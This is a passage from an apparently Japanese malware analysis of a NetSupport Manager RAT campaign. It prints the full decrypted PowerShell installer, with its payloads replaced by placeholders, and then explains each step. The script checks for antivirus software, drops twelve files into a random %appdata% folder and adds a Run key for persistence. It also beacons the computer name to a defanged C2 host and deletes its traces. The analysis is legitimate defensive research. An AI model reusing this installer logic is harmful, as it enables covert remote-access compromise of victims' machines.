    \u306a\u304a\u3001\u540c\u30b5\u30f3\u30d7\u30eb\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bIV\u306f\u3001PowerSploit\u3067\u751f\u6210\u3057\u305f\u4ed6\u306e\u30b5\u30f3\u30d7\u30eb\u306eIV\u3068\u306f\u304a\u305d\u3089\u304f\u7570\u306a\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u306e\u3067\u3001\u305d\u306e\u70b9\u306f\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u307e\u305fIV\u30d6\u30ed\u30c3\u30af\u306f\u30b5\u30a4\u30ba\u9577\u304c8\u30d0\u30a4\u30c8\u306a\u306e\u3067\u300116\u30d0\u30a4\u30c8\u306eIV\u306f\u30018\u30d0\u30a4\u30c8\u306b\u77ed\u7e2e\u3055\u308c\u308b\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u5fa9\u53f7\u3057\u305fPowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n
    $scriptPath = split-path -parent \r\n$MyInvocation.MyCommand.Definition\r\nif ($scriptpath -match \"avast\") {exit}\r\nif ($scriptpath -match \"Avast\") {exit}\r\nif ($scriptpath -match \"AVG\") {exit}\r\nif ($scriptpath -match \"avg\") {exit}\r\nfunction react (\r\n  $source,\r\n  $destination\r\n)\r\n{\r\nConvert-StringToBinary -InputString $source -FilePath $Destination;\r\n  #      }\r\n     }#}\r\nfunction Convert-StringToBinary\r\n(\r\n $InputString\r\n,  $FilePath\r\n)\r\n{\r\n$file= $InputString\r\n$data = [System.Convert]::FromBase64String($file)\r\n$ms = New-Object System.IO.MemoryStream\r\n$ms.Write($data, 0, $data.Length)\r\n$ms.Seek(0,0) | Out-Null\r\n\r\n$cs = New-Object System.IO.Compression.GZipStream($ms, \r\n[System.IO.Compression.CompressionMode]::Decompress)\r\n$sr = New-Object System.IO.StreamReader($cs)\r\n$t = $sr.readtoend()#|out-file str.txt\r\n\r\n$ByteArray = [System.Convert]::FromBase64String($t);\r\n[System.IO.File]::WriteAllBytes($FilePath, $ByteArray);\r\n}\r\nfunction Install\r\n{\r\n$file1 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file2 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file3 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file4 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file5 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file6 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file7 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file8 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file9 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file10 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file11 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n$file12 = \u201c<Gzip compressed + base64 encoded file<\/strong>>\u201d;\r\n\r\n$randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | \r\nGet-Random -Count 8 | % {[char]$_}) )\r\n$fpath =\"$env:appdata\\$randf\"\r\nmkdir $fpath\r\n$clientname=\"presentationhost.exe\"\r\n$Source = $file1\r\n$Destination = \"$fpath\\\"+\"$clientname\"\r\nreact -source $source -destination $destination\r\n$Source = $file2\r\n$Destination = \"$fpath\\client32.ini\"\r\nwrite-host $destination\r\nreact -source $source -destination $destination\r\n$Source = $file3\r\n$Destination = \"$fpath\\HTCTL32.DLL\"\r\nreact -source $source -destination $destination\r\n$Source = $file4\r\n$Destination = \"$fpath\\msvcr100.dll\"\r\nreact -source $source -destination $destination\r\n$Source = $file5\r\n$Destination = \"$fpath\\nskbfltr.inf\"\r\nreact -source $source -destination $destination\r\n$Source = $file6\r\n$Destination = \"$fpath\\NSM.ini\"\r\nreact -source $source -destination $destination\r\n$Source = $file7\r\n$Destination = \"$fpath\\NSM.lic\"\r\nreact -source $source -destination $destination\r\n$Source = $file8\r\n$Destination = \"$fpath\\pcicapi.dll\"\r\nreact -source $source -destination $destination\r\n$Source = $file9\r\n$Destination = \"$fpath\\PCICHEK.DLL\"\r\nreact -source $source -destination $destination\r\n$Source = $file10\r\n$Destination = \"$fpath\\PCICL32.DLL\"\r\nreact -source $source -destination $destination\r\n$Source = $file11\r\n$Destination = \"$fpath\\remcmdstub.exe\"\r\nreact -source $source -destination $destination\r\n$Source = $file12\r\n$Destination = \"$fpath\\TCCTL32.DLL\"\r\nreact -source $source -destination $destination\r\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \/v ServiceDLL \/t REG_SZ \/d \"$fpath\\$clientname\" \/f\r\nstart-process \"$fpath\\$clientname\"\r\n#Start-sleep -s 10\r\nInvoke-WebRequest -Uri \"http:\/\/afsasdfa33[.]xyz\/iplog\/lepo.php?hst=$env:computername\"\r\n$f=get-content $env:temp\\insghha4.txt\r\n\r\nremove-item $env:TEMP\\*.ps1\r\n#cmd \/c del %temp%\\*.ps1 \/f\r\n#cmd \/c del %temp%\\*.txt \/f\r\nremove-item $f\r\n}\r\n#ShowConsole\r\n#rights\r\n\r\ninstall;<\/pre>\n
    RAT\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30e9PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u6b21\u306e\u3053\u3068\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n
      \n
    1. \u6a19\u7684\u306e\u30db\u30b9\u30c8\u4e0a\u3067Avast\u306a\u3044\u3057AVG Antivirus Software\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3092\u505c\u6b62\u3059\u308b<\/li>\n
    2. NetSupport Manager RAT\u3092\u69cb\u6210\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u309212\u500b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u3002\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u5148\u306f\u88ab\u5bb3\u7aef\u672b\u306e%appdata%\u4ee5\u4e0b\u306e\u30e9\u30f3\u30c0\u30e0\u306a\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3067\u3001\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u540d\u306e\u9577\u3055\u306f8\u6587\u5b57\u3002\u305f\u3068\u3048\u3070c:\\users\\%username%\\Appdata\\Roaming\\%randomvalue%\\<\/li>\n
    3. \u6b21\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u3092\u4f5c\u6210\u3057\u88ab\u5bb3\u7aef\u672b\u4e0a\u3067\u6c38\u7d9a\u6027\u3092\u78ba\u4fdd: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n